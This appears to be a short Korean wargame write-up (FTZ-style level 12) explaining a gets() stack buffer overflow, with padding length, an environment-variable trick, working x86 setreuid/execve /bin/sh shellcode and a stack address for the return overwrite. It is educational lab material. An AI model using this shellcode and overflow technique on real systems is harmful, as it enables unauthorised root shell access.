728x90
해당 문제도 11번과 동일한 방식으로 풀면된다.
gets함수는 키보드로부터 표준입력을 받는 함수인데 이 역시 입력받는 버퍼의 크기를 검사하지 않기 때문에 버퍼 오퍼플로우의 취약점이 존재한다.
메인함수에서 str 버퍼의 크기를 0x108만큼 확보하므로 10진수로 더미포함 264바이트 만큼 크기를 할당한다.
11번 문제와 동일하게 268바이트 만큼 아무값을 채우고 쉘코드를 환경변수에 등록한뒤 해당 환경변수의 주소값을 ret주소에 넣어주면 끝이다.
<shellCode>
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
export SHELLCODE="위 쉘코드"
그다음 getevn함수를 이용하여 얻은 환경변수의 주소는
0xbffffb96
따라서 다음과 같이 입력하면 13레벨의 비밀번호를 확인할 수 있다.
728x90